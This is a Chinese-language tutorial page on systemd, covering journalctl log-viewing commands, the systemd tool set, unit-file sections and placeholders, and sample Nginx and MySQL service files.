    # 将最新的日志显示在前面
    $ sudo journalctl -r -u docker.service
    
    # 改变输出的格式:--output 或 -o
    $ sudo journalctl -r -u docker.service -o json-pretty
    
    # 查看指定进程的日志
    $ sudo journalctl _PID=1
    
    # 查看某个路径的脚本的日志
    $ sudo journalctl /usr/bin/bash
    
    # 查看指定用户的日志
    $ sudo journalctl _UID=33 --since today
    
    # 查看某个 Unit 的日志
    $ sudo journalctl -u nginx.service
    $ sudo journalctl -u nginx.service --since today
    
    # 实时滚动显示某个 Unit 的最新日志
    $ sudo journalctl -u nginx.service -f
    
    # 合并显示多个 Unit 的日志
    $ journalctl -u nginx.service -u php-fpm.service --since today
    
    # 查看指定优先级(及其以上级别)的日志,共有 8 级
    # 0: emerg
    # 1: alert
    # 2: crit
    # 3: err
    # 4: warning
    # 5: notice
    # 6: info
    # 7: debug
    $ sudo journalctl -p err -b
    
    # 日志默认分页输出,--no-pager 改为正常的标准输出
    $ sudo journalctl --no-pager
    
    # 以 JSON 格式(单行)输出
    $ sudo journalctl -b -u nginx.service -o json
    
    # 以 JSON 格式(多行)输出,可读性更好
    $ sudo journalctl -b -u nginx.serviceqq
     -o json-pretty
    
    # 显示日志占据的硬盘空间
    $ sudo journalctl --disk-usage
    
    # 指定日志文件占据的最大空间
    $ sudo journalctl --vacuum-size=1G
    
    # 指定日志文件保存多久
    $ sudo journalctl --vacuum-time=1years
    
    

    systemd工具集

    • systemctl:用于检查和控制各种系统服务和资源的状态

    • bootctl:用于查看和管理系统启动分区

    • hostnamectl:用于查看和修改系统的主机名和主机信息

    • journalctl:用于查看系统日志和各类应用服务日志

    • localectl:用于查看和管理系统的地区信息

    • loginctl:用于管理系统已登录用户和 Session 的信息

    • machinectl:用于操作 Systemd 容器

    • timedatectl:用于查看和管理系统的时间和时区信息

    • systemd-analyze 显示此次系统启动时运行每个服务所消耗的时间,可以用于分析系统启动过程中的性能瓶颈

    • systemd-ask-password:辅助性工具,用星号屏蔽用户的任意输入,然后返回实际输入的内容

    • systemd-cat:用于将其他命令的输出重定向到系统日志

    • systemd-cgls:递归地显示指定 CGroup 的继承链

    • systemd-cgtop:显示系统当前最耗资源的 CGroup 单元

    • systemd-escape:辅助性工具,用于去除指定字符串中不能作为 Unit 文件名的字符

    • systemd-hwdb:Systemd 的内部工具,用于更新硬件数据库

    • systemd-delta:对比当前系统配置与默认系统配置的差异

    • systemd-detect-virt:显示主机的虚拟化类型

    • systemd-inhibit:用于强制延迟或禁止系统的关闭、睡眠和待机事件

    • systemd-machine-id-setup:Systemd 的内部工具,用于给 Systemd 容器生成 ID

    • systemd-notify:Systemd 的内部工具,用于通知服务的状态变化

    • systemd-nspawn:用于创建 Systemd 容器

    • systemd-path:Systemd 的内部工具,用于显示系统上下文中的各种路径配置

    • systemd-run:用于将任意指定的命令包装成一个临时的后台服务运行

    • systemd-stdio- bridge:Systemd 的内部 工具,用于将程序的标准输入输出重定向到系统总线

    • systemd-tmpfiles:Systemd 的内部工具,用于创建和管理临时文件目录

    • systemd-tty-ask-password-agent:用于响应后台服务进程发出的输入密码请求

    systemd配置

    配置文件说明

    • 每一个Unit都需要有一个配置文件用于告知systemd对于服务的管理方式

    • 配置文件存放于/usr/lib/systemd/system/,设置开机启动后会在/etc/systemd/system目录建立软链接文件

    • 每个Unit的配置文件配置默认后缀名为.service

    • /usr/lib/systemd/system/目录中分为system和user两个目录,一般将开机不登陆就能运行的程序存在系统服务里,也就是/usr/lib/systemd/system

    • 配置文件使用方括号分成了多个部分,并且区分大小写




    服务启动的脚本启动路径

    /etc/init.d

    /usr/lib/systemd/system

    开机自启服务存放路径

    /etc/rcN.d

    /etc/systemd/system/multi-user.target.wants/

    默认运行级别配置文件

    /etc/inittab

    /etc/systemd/system/default.target

    配置说明


    Unit段

    • Description:描述这个 Unit 文件的信息

    • Documentation:指定服务的文档,可以是一个或多个文档的 URL 路径

    • Requires:依赖的其它 Unit 列表,列在其中的 Unit 模板会在这个服务启动时的同时被启动。并且,如果其中任意一个服务启动失败,这个服务也会被终止

    • Wants:与 Requires 相似,但只是在被配置的这个 Unit 启动时,触发启动列出的每个 Unit 模块,而不去考虑这些模板启动是否成功

    • After:与 Requires 相似,但是在后面列出的所有模块全部启动完成以后,才会启动当前的服务

    • Before:与 After 相反,在启动指定的任务一个模块之间,都会首先确证当前服务已经运行

    • Binds To:与 Requires 相似,失败时失败,成功时成功,但是在这些模板中有任意一个出现意外结束或重启时,这个服务也会跟着终止或重启

    • Part Of:一个 Bind To 作用的子集,仅在列出的任务模块失败或重启时,终止或重启当前服务,而不会随列出模板的启动而启动

    • OnFailure:当这个模板启动失败时,就会自动启动列出的每个模块

    • Conflicts:与这个模块有冲突的模块,如果列出的模块中有已经在运行的,这个服务就不能启动,反之亦然

    Install 段

    这部分配置的目标模块通常是特定运行目标的 .target 文件,用来使得服务在系统启动时自动运行。这个区段可以包含三种启动约束:

    • WantedBy:和 Unit 段的 Wants 作用相似,只有后面列出的不是服务所依赖的模块,而是依赖当前服务的模块。它的值是一个或多个 Target,当前 Unit 激活时(enable)符号链接会放入 /etc/systemd/system 目录下面以 <Target 名> + .wants后缀构成的子目录中,如 /etc/systemd/system/multi-user.target.wants/

    • RequiredBy:和 Unit 段的 Wants 作用相似,只有后面列出的不是服务所依赖的模块,而是依赖当前服务的模块。它的值是一个或多个 Target,当前 Unit 激活时,符号链接会放入 /etc/systemd/system 目录下面以 <Target 名> + .required 后缀构成的子目录中

    • Also:当前 Unit enable/disable 时,同时 enable/disable 的其他 Unit

    • Alias:当前 Unit 可用于启动的别名

    Service 段

    用来 Service 的配置,只有 Service 类型的 Unit 才有这个区块。它的主要字段分为服务生命周期和服务上下文配置两个方面。

    服务生命周期控制相关
    • Type:定义启动时的进程行为,它有以下几种值:

      • Type=simple:默认值,执行ExecStart指定的命令,启动主进程

      • Type=forking:以 fork 方式从父进程创建子进程,创建后父进程会立即退出

      • Type=oneshot:一次性进程,Systemd 会等当前服务退出,再继续往下执行

      • Type=dbus:当前服务通过D-Bus启动

      • Type=notify:当前服务启动完毕,会通知Systemd,再继续往下执行

      • Type=idle:若有其他任务执行完毕,当前服务才会运行

    • RemainAfterExit:值为 true 或 false(默认)。当配置为 true 时,Systemd 只会负责启动服务进程,之后即便服务进程退出了,Systemd 也仍然会认为这个服务还在运行中。这个配置主要是提供给一些并非常驻内存,而是启动注册后立即退出,然后等待消息按需启动的特殊类型服务使用的。

    • ExecStart:启动当前服务的命令

    • ExecStartPre:启动当前服务之前执行的命令

    • ExecStartPos:启动当前服务之后执行的命令

    • ExecReload:重启当前服务时执行的命令

    • ExecStop:停止当前服务时执行的命令

    • ExecStopPost:停止当其服务之后执行的命令

    • RestartSec:自动重启当前服务间隔的秒数

    • Restart:定义何种情况 Systemd 会自动重启当前服务,可能的值包括 always(总是重启)、on-success、on-failure、on-abnormal、on-abort、on-watchdog

    • TimeoutStartSec:启动服务时等待的秒数,这一配置对于使用 Docker 容器而言显得尤为重要,因其第一次运行时可能需要下载镜像,严重延时会容易被 Systemd 误判为启动失败杀死。通常,对于这种服务,将此值指定为 0,从而关闭超时检测

    • TimeoutStopSec:停止服务时的等待秒数,如果超过这个时间仍然没有停止,Systemd 会使用 SIGKILL 信号强行杀死服务的进程

    服务上下文配置相关

    • Environment:为服务指定环境变量

    • EnvironmentFile:指定加载一个包含服务所需的环境变量的列表的文件,文件中的每一行都是一个环境变量的定义

    • Nice:服务的进程优先级,值越小优先级越高,默认为 0。其中 -20 为最高优先级,19 为最低优先级

    • WorkingDirectory:指定服务的工作目录

    • RootDirectory:指定服务进程的根目录(/ 目录)。如果配置了这个参数,服务将无法访问指定目录以外的任何文件

    • User:指定运行服务的用户

    • Group:指定运行服务的用户组

    • MountFlags:服务的 Mount Namespace 配置,会影响进程上下文中挂载点的信息,即服务是否会继承主机上已有挂载点,以及如果服务运行执行了挂载或卸载设备的操作,是否会真实地在主机上产生效果。可选值为 shared、slaved 或 private

      • shared:服务与主机共用一个 Mount Namespace,继承主机挂载点,且服务挂载或卸载设备会真实地反映到主机上

      • slave:服务使用独立的 Mount Namespace,它会继承主机挂载点,但服务对挂载点的操作只有在自己的 Namespace 内生效,不会反映到主机上

      • private:服务使用独立的 Mount Namespace,它在启动时没有任何任何挂载点,服务对挂载点的操作也不会反映到主机上

    • LimitCPU / LimitSTACK / LimitNOFILE / LimitNPROC 等:限制特定服务的系统资源量,例如 CPU、程序堆栈、文件句柄数量、子进程数量等

    注意:如果在 ExecStart、ExecStop 等属性中使用了 Linux 命令,则必须要写出完整的绝对路径。对于 ExecStartPre 和 ExecStartPost 辅助命令,若前面有个 “-” 符号,表示忽略这些命令的出错。因为有些 “辅助” 命令本来就不一定成功,比如尝试清空一个文件,但文件可能不存在。

    Unit 文件占位符

    在 Unit 文件中,有时会需要使用到一些与运行环境有关的信息,例如节点 ID、运行服务的用户等。这些信息可以使用占位符来表示,然后在实际运行被动态地替换实际的值。

    • %n:完整的 Unit 文件名字,包括 .service 后缀名

    • %p:Unit 模板文件名中 @ 符号之前的部分,不包括 @ 符号

    • %i:Unit 模板文件名中 @ 符号之后的部分,不包括 @ 符号和 .service 后缀名

    • %t:存放系统运行文件的目录,通常是 “run”

    • %u:运行服务的用户,如果 Unit 文件中没有指定,则默认为 root

    • %U:运行服务的用户 ID

    • %h:运行服务的用户 Home 目录,即 %{HOME} 环境变量的值

    • %s:运行服务的用户默认 Shell 类型,即 %{SHELL} 环境变量的值

    • %m:实际运行节点的 Machine ID,对于运行位置每个的服务比较有用

    • %b:Boot ID,这是一个随机数,每个节点各不相同,并且每次节点重启时都会改变

    • %H:实际运行节点的主机名

    • %v:内核版本,即 “uname -r” 命令输出的内容

    • %%:在 Unit 模板文件中表示一个普通的百分号

    修改配置文件后重启

    修改配置文件以后,需要重新加载配置文件,然后重新启动相关服务。

    # 重新加载配置文件
    $ sudo systemctl daemon-reload
    
    # 重启相关服务
    $ sudo systemctl restart foobar
    
    

    常见中间件配置

    Nginx

    [Unit]
    Description=nginx
    After=network.target
      
    [Service]
    Type=forking
    ExecStart=/usr/local/nginx/sbin/nginx
    ExecReload=/usr/local/nginx/sbin/nginx -s reload
    ExecStop=/usr/local/nginx/sbin/nginx -s quit
    PrivateTmp=true
      
    [Install]
    WantedBy=multi-user.target
    
    

    MySQL

    [Unit]
    Description=MySQL Server
    Documentation=man:mysqld(8)
    Documentation=http://dev.mysql.com/doc/refman/en/using-systemd.html
    After=network.target
    After=syslog.target
    
    [Install]
    WantedBy=multi-user.target
    
    [Service]
    User=mysql
    Group=mysql
    
    Type=forking
    
    PIDFile=/var/run/mysqld/mysqld.pid
    
    # Disable service start and stop timeout logic of systemd for mysqld service.
    TimeoutSec=0
    
    # Execute pre and post scripts as root
    PermissionsStartOnly=true
    
    # Needed to create system tables
    ExecStartPre=/usr/bin/mysqld_pre_systemd
    
    # Start main service
    ExecStart=/usr/sbin/mysqld --daemonize --pid-file=/var/run/mysqld/mysqld.pid $MYSQLD_OPTS
    
    # Use this to switch malloc implementation
    EnvironmentFile=-/etc/sysconfig/mysql
    
    # Sets open_files_limit
    LimitNOFILE = 5000
    
    Restart=on-failure
    
    RestartPreventExitStatus=1
    
    PrivateTmp=false
    


    回复干货】获取精选干货视频教程

    回复加群】加入疑难问题攻坚交流群

    回复mat】获取内存溢出问题分析详细文档教程

    回复赚钱】获取用java写一个能赚钱的微信机器人

    回复副业】获取程序员副业攻略一份

    喜欢就点个在看再走吧

    展开全文
  • T汇编语法改写linux0.00的boot.s # boot.s # # It then loads the system at 0x10000, using BIOS interrupts. Thereafter # it disables all interrupts, changes to protected mode, and calls the BOOTSEG = 0x...
  • Linux系统编程(七)--线程控制

    千次阅读 2022-03-27 22:05:35
    Linux 中,只支持 PTHREAD_SCOPE_SYSTEM,因为 Linux 中实现的线程,实际上就是轻量级进程。 用于设置和获取 scope 值的函数如下: int pthread_attr_setscope(pthread_attr_t *attr,int scope); int pthread_...
  • Linux系统配置(Linux基础)

    千次阅读 热门讨论 2021-12-21 11:21:35
    目录 前言 一、Linux概述 1、Linux系统内核 2、Linux系统外围程序 ... Linux操作系统由Linux内核和各种外围程序组成, Linux内核是一个特殊的软件程序,用于实现CPU和内存分配,进程调度、...
  • systemctl 的用途 有时我们将自定义程序注册为systemd service 进程管理,交由系统管理,可以方便启动停止,亦可以...2、配置文件放到/usr/lib/systemd/system文件夹下 3、可以用systemctl管理执行了:systemctl ...
  • Linux-0.11 操作系统的引导实验 实验目的 熟悉 hit-oslab 实验环境; 建立对操作系统引导过程的深入认识; 掌握操作系统的基本开发过程; 能对操作系统代码进行简单的控制,揭开操作系统的神秘面纱。 实验内容 ...
  • linux system()函数

    2015-02-12 11:01:23
    /******************************************************************************* ...** Description : wrap system() ** Parameter : void ** Return : 0 :success; -1 :fail ** Author : Ke
  • 1. hw break point ...具体可见 linux 自带例子:linux/samples/hw_breakpoint/data_breakpoint.c static void sample_hbp_handler(struct perf_event *bp, struct perf_sample_data *data, struct p
  • 什么是Linux

    2021-09-07 17:27:28
    操作系统(Operating System,OS)本身就是一个软件。 常见操作系统:Windows、Linux、Mac OS、Android等 Office、QQ、迅雷、微信等则称为 应用程序 操作系统会控制其他程序运行,管理系统资源,提供最基本的...
  • Linux的发展及介绍

    2021-09-13 21:28:16
    出于这种目的,加上他对当时Unix 变种版本(即Minix)对于80386类机器的脆弱支持十分不满,他决定要开发出一个全功能的、支持POSIX标准的、类Unix的操作系统内核,该系统吸收了BSD和System V的优点,同时摒弃了它们...
  • Linux0.11操作系统(哈工大李治军老师)实验楼实验1-引导
  • Linux下C语言开发

    千次阅读 2022-01-17 15:14:32
    Linux下C语言开发Linux下C语言开发Linux下C语言开发流程C语言开发工具c语言代码编辑工具LinuxC语言的编译器gccgcc 的安装和配置gcc对c语言的处理过程gcc的基础使用方法Linux C语言的调试工具gdbgdb的基础使用gdb运行...
  • Linux系统简介

    2022-01-25 10:45:55
    Linux系统简介
  • 每天都在运行的Linux系统其实是? 今天广泛使用的 GNU 版本通常被称为“Linux”,而它的许多用户并不知道 它基本上是由GNU 项目开发的 GNU 系统 。 Linux内核 和 GNU 系统简介 确实有一个 Linux,这些人正在使用它,...
  • Linux 系统备份恢复工具 SYSTEM-RESCUE-CD 的使用
  • 如果你想长久使用kali linux U盘,请在创建镜象前阅读完整的文档。7 T/ B+ F0 V+ }J. Y# x6 y准备USB镜象下载Kali linux。如果你用到是Windows,下载Win32 Disk Imager。*nix类系统不需要任何别的软件。一块U...
  • 运行 fdisk /dev/mmcblk0 会得到如下结果: Units = cylinders of 64 * 512 = 32768 bytes Device Boot Start End Blocks Id System /dev/mmcblk0p1 * 1025 12224 358400 83 Linux /dev/...
  • 跟老男孩学 Linux 运维:Web 集群实战

    千次阅读 2019-01-22 23:30:27
    本书针对中小规模网站集群的搭建、部署、优化进行了详细讲解,全书可分为三大部分,其中第一部分讲的是 Linux 相关的基础且重要的知识,第二部分针对当下流行的 Web 环境架构(LNMP)的搭建及企业级 Web 优化等进行...
  • 继续学习Linux
  • 大数据之路之Linux

    千次阅读 2021-04-05 18:27:37
    为什么要学习Linux 1. 工作需要,从事IT工作或多或少都要设计Linux; 2. 迟早老子会有钱,要买一台苹果Mac坐在星巴克追剧,那你会发现,Mac的命令行模式竟然和Linux惊人的相识,我每次用到Mac命令行操作都是直接网上...
  • Linux60个小时速成

    万次阅读 多人点赞 2022-05-23 19:09:40
    Linux速成 1 前言 1.1 课程介绍 1.2 学习方向 1.3 应用领域 个人桌面领域 ​ 此领域是传统 linux 应用最薄弱的环节,传统 linux 由于界面简单、操作复杂、应用软件少的缺点,一直被 windows 所压制,但近些年来...
  • Linux 内存占用分析

    2021-05-12 06:15:24
    这篇博客主要介绍 linux 环境下,查看内存占用的两种方式:使用 ps,top等命令;查看/proc/[pid]/下的文件。文章简要介绍了命令的使用方法与一些参数意义,同时对/proc/[pid]/下的文件内容进行了一些详细的介绍。文章...
  • Linux内核启动流程(待完善)

    千次阅读 2021-07-02 14:44:10
    本文以Linux3.14版本源码为例分析其启动流程。各版本启动代码略有不同,但核心流程与思想万变不离其宗。 内核映像被加载到内存并获得控制权之后,内核启动流程开始。通常,内核映像以压缩形式存储,并不是一个可以...
  • 通用的linux提供一个已经编译好的kernel,但是在嵌入式操作系统中,这种方式比较少用。我们将提供一个尽可能简单的kernel configuration,去除我们不需要的功能。我们首先需要选择linux的kernel。我们可以在...
  • Linux 监控CPU 温度

    2021-05-15 23:10:59
    安装测试系统:硬件:普通PC机,软件:redhat linux as 42.6 .9,安装系统自带的lm_sensors-2.8.7-2.i386这个软件可以在linux下收集到系统温度。然后我用cacti显示。由于是系统自带的。所以我在安装系统的时候就已经...
  • Linux线程安全

    千次阅读 2022-03-24 10:58:19
    文章目录Linux线程互斥进程线程间的互斥相关背景概念互斥量mutex互斥量的接口互斥量实现原理探究可重入VS线程安全概念常见的线程不安全的情况常见的线程安全的情况常见的不可重入的情况常见的可重入的情况可重入与...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 17,014
精华内容 6,805
关键字:

linux system 改写